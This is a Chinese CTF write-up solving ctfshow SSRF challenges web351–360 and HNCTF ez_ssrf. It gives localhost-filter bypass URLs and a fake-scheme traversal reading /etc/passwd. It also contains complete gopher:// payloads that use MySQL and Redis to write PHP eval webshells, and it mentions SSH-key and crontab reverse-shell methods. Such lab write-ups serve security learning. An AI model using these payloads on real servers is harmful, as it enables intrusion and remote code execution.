SSRF web351-web360

写在前面:ssrf常见的一些函数

1
2
3
4
5
6
7
8
curl_init():初始curl会话
curl_setopt():会话设置
curl_close():会话关闭
file_get_contents():将整个文件或一个url所指向的文件读入一个字符串中。
readfile():输出一个文件的内容。
fsockopen():打开一个网络连接或者一个Unix 套接字连接。
curl_exec():初始化一个新的会话,返回一个cURL句柄,供curl_setopt(),curl_exec()和curl_close() 函数使用。
fopen():打开一个文件文件或者 URL。

web351

url=http://127.0.0.1/flag.php

web352

url=http://127.1.0.1/flag.php

web353

url=http://127.1.0.1/flag.php

parse_url()解析请求包的参数,返回数组,scheme是请求包的协议

127.1会被解析成127.0.0.1,也就意味着为零可缺省
在Linux中,0也会被解析成127.0.0.1
127.0.0.0/8是一个环回地址网都表示localhost
ip地址还可以通过表示成其他进制的形式访问,IP地址二进制、十进制、十六进制互换

web354

url=http://sudo.cc/flag.php

web355

这题限制了http://[host]/[path] host部分长度小于5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?> hacker

url=http://127.1/flag.php

web356

host长度要小于3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=3)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?> hacker

url=http://0/flag.php

web357

web358

1
2
3
4
5
6
7
8
9
 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
echo file_get_contents($url);
}

这段代码使用了正则表达式来定义条件,具体条件如下:

  • ^:表示匹配字符串的开始位置。
  • http://ctf\.:表示以 “http://ctf.” 开头。其中,. 是正则表达式中的特殊字符,需要使用 \ 进行转义。
  • .*:表示匹配任意字符(除换行符外)的零个或多个实例。
  • show$:表示以 “show” 结尾。
  • /i:表示不区分大小写。

综合起来,这个正则表达式的意思是判断给定的 URL 是否以 “http://ctf.” 开头,以 “show” 结尾,并且不区分大小写。

如果传入的 URL 满足上述条件,就会执行 echo file_get_contents($url); 的代码,使用 file_get_contents() 函数获取该 URL 的内容,并将其输出到页面上

想要做的输出flag.php无法作到在flag.PHP后面直接加show,加一个传参的形式即可

url=http://ctf.@127.0.0.1/flag.php?show

web359

用到工具利用gopher协议无密码注入mysql,使用Gopherus工具构造payload

python gopherus.py –exploit mysql

  • 选择构建mysql的payload
  • 设置用户名,默认root
  • sql注入,写入shell,这里使用了into outfile新建shell并写入
  • 得到payload

登陆界面找到一个隐藏的攻击点,对其进行SSRF攻击

将生成的gopher链接作为returl的参数,因为_后面的内容或经过两次url提交,所以需要再urlencode一次:(记得只编码下划线后面的,否则容易出错)

1
2
3
4
gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%45%00%00%00%03%20%73%65%6c%65%63%74%20%27%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%61%5d%29%3b%3f%3e%27%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%61%2e%70%68%70%27%3b%01%00%00%00%01


gopher://127.0.0.1:3306/_%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%2545%2500%2500%2500%2503%2520%2573%2565%256c%2565%2563%2574%2520%2527%253c%253f%2570%2568%2570%2520%2565%2576%2561%256c%2528%2524%255f%2550%254f%2553%2554%255b%2561%255d%2529%253b%253f%253e%2527%2569%256e%2574%256f%2520%256f%2575%2574%2566%2569%256c%2565%2520%2527%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%252f%2561%252e%2570%2568%2570%2527%253b%2501%2500%2500%2500%2501

select ‘‘into outfile ‘/var/www/html/cmd.php’;

web360

ssrf打Redis

写webshell

写ssh公钥

写contrab计划反弹shell

主从复制

这个题目上一题差不多,上一题打MySQL这一题打Redis

什么是Redis未授权访问?

Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空),会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的 config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的 authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器

简单说,漏洞的产生条件有以下两点:redis 绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网
没有设置密码认证(一般为空),可以免密码远程登录redis服务

若出现报错,则说明存在redis服务

用工具做

1
gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252428%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B1%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

补充

###其他绕过127的方法

1.如果目标代码限制访问的域名只能为 http://www.xxx.com,那么我们可以采用HTTP基本身份认证的方式绕过。即@:http://www.xxx.com@www.evil.com http://www.evil.com/

2.http://xip.io,当访问这个服务的任意子域名的时候,都会重定向到这个子域名,如访问:http://127.0.0.1.xip.io/flag.php时,实际访问的是http://127.0.0.1/1.php 像这样的网址还有 http://nip.io,http://sslip.io

3.短网址目前基本都需要登录使用,如缩我,https://4m.cn/

4.各种指向127.0.0.1的地址:

1
2
3
4
5
6
7
8
http://localhost/         # localhost就是代指127.0.0.1
http://0/ # 0在window下代表0.0.0.0,而在liunx下代表127.0.0.1
http://[0:0:0:0:0:ffff:127.0.0.1]/ # 在liunx下可用,window测试了下不行
http://[::]:80/ # 在liunx下可用,window测试了下不行
http://127。0。0。1/ # 用中文句号绕过
http://①②⑦.⓪.⓪.①
http://127.1/
http://127.00000.00000.001/ # 0的数量多一点少一点都没影响,最后还是会指向127.0.0.1

利用不存在的协议头绕过指定的协议头

file_get_contents()函数的一个特性,即当PHP的file_get_contents()函数在遇到不认识的协议头时候会将这个协议头当做文件夹,造成目录穿越漏洞,这时候只需不断往上跳转目录即可读到根目录的文件。(include()函数也有类似的特性)

1
2
3
4
5
6
7
8
// ssrf.php
<?php
highlight_file(__FILE__);
if(!preg_match('/^https/is',$_GET['url'])){
die("no hack");
}
echo file_get_contents($_GET['url']);
?>

上面的代码限制了url只能是以https开头的路径,那么我们就可以如下:

1
httpsssss://

此时file_get_contents()函数遇到了不认识的伪协议头“httpsssss://”,就会将他当做文件夹,然后再配合目录穿越即可读取文件:

1
ssrf.php?url=httpsssss://../../../../../../etc/passwd

###URL解析差异

1.readfile和parse_user函数解析差异绕过指定端口

1
2
3
4
5
6
7
8
<?php
$url = 'http://'. $_GET[url];
$parsed = parse_url($url);
if( $parsed[port] == 80 ){ // 这里限制了我们传过去的url只能是80端口的
readfile($url);
} else {
die('Hacker!');
}

上述代码限制了我们传过去的url只能是80端口的,但如果我们想去读取11211端口的文件的话,我们可以用以下方法绕过

1
2
3
ssrf.php

?url=127.0.0.1:11211:80/flag.txt

可以成功读取11211端口flag.txt文件,原理如下图

image-20230712190451055

两个函数解析host也存在差异

1610601347_5fffd383dfc1a3982425f.png!small?1610601348433

2.利用curl和parse_url的解析差异绕过指定host

image-20230712190638172

Gopher协议

Gopher是Internet上一个非常有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用TCP 70端口

Gopher协议支持发出GET、POST请求,我们可以先截获GET请求包和POST请求包,再构造成符合Gopher协议请求的payload进行SSRF利用,甚至可以用它来攻击内网中的Redis、MySql、FastCGI等应用,这无疑大大扩展了我们的SSRF攻击面

Gopher协议格式

1
URL: gopher://<host>:<port>/<gopher-path>_后接TCP数据流

注意不要忘记后面那个下划线”“,下划线”“后面才开始接TCP数据流,如果不加这个”_”,那么服务端收到的消息将不是完整的,该字符可随意写。

如果发起POST请求,回车换行需要使用%0d%0a来代替%0a,如果多个参数,参数之间的&也需要进行URL编码

利用Gopher协议发送HTTP请求步骤

在gopher协议中发送HTTP的数据,需要以下三步:

1
2
3
1.抓取或构造HTTP数据包
2.URL编码、将回车换行符%0a替换为%0d%0a
3.发送符合gopher协议格式的请求

注意这几个问题:

问号(?)需要转码为URL编码,也就是%3f
回车换行要变为%0d%0a,但如果直接用工具转,可能只会有%0a
在HTTP包的最后要加%0d%0a,代表消息结束(具体可研究HTTP包结束)

[HNCTF 2022 WEEK2]ez_ssrf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
 <?php

highlight_file(__FILE__);
error_reporting(0);

$data=base64_decode($_GET['data']);
$host=$_GET['host'];
$port=$_GET['port'];

$fp=fsockopen($host,intval($port),$error,$errstr,30);
if(!$fp) {
die();
}
else {
fwrite($fp,$data);
while(!feof($data))
{
echo fgets($fp,128);
}
fclose($fp);
}

这段代码接受通过 GET 请求传递的参数,并使用 fsockopen() 函数建立与指定主机和端口的 socket 连接。然后,它将传入的 base64 编码的数据解码,并将数据写入到连接的 socket 中。接下来,在循环中,它从连接中读取返回的响应数据,并将其输出到浏览器。

请注意,这段代码存在一些安全风险:

  1. 没有对输入参数进行任何验证和过滤。这可能导致安全漏洞,如远程命令执行和代码注入攻击,请务必加以验证和过滤用户输入。
  2. 关闭 error_reporting,这会隐藏任何可能的错误信息,使得调试和错误处理变得困难,建议在开发和测试阶段启用错误报告以及适当的错误处理。

建议对该代码进行改进和增强,以提高安全性和代码可靠性。

** fsockopen() 函数是用于建立一个 socket 连接。该函数的参数包括:

  • $host:要连接的主机名或 IP 地址。
  • intval($port):要连接的端口号,其中 intval() 函数将端口号转换为整数。
  • $error:一个传入参数,用于获取错误代码(如果有错误发生)。
  • $errstr:一个传入参数,用于获取错误描述信息(如果有错误发生)。
  • 30:超时时间,以秒为单位。****

题解

首先本地构造一个文件,让他跳转到127.0.0.1,用来伪造请求

1
2
3
4
5
6
7
<?php
$out = "GET /flag.php HTTP/1.1\r\n";
$out .= "Host: 127.0.0.1\r\n";
$out .= "Connection: Keep-Alive\r\n\r\n";
echo $out;
echo base64_encode($out)
?>

我要将这一段信息通过fwrite写进我们的会话中的,这些就是请求头

1
2
3
4
5
GET / HTTP/1.1
Host: www.wrox.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.6)
Gecko/20050225 Firefox/1.0.1
Connection: Keep-Alive

image-20230712195039783

手写一个127.0.0.1的请求头格式,base64编码一下就好

image-20230712201519214

1
playload:?host=127.0.0.1&port=80&data=R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQoNCg==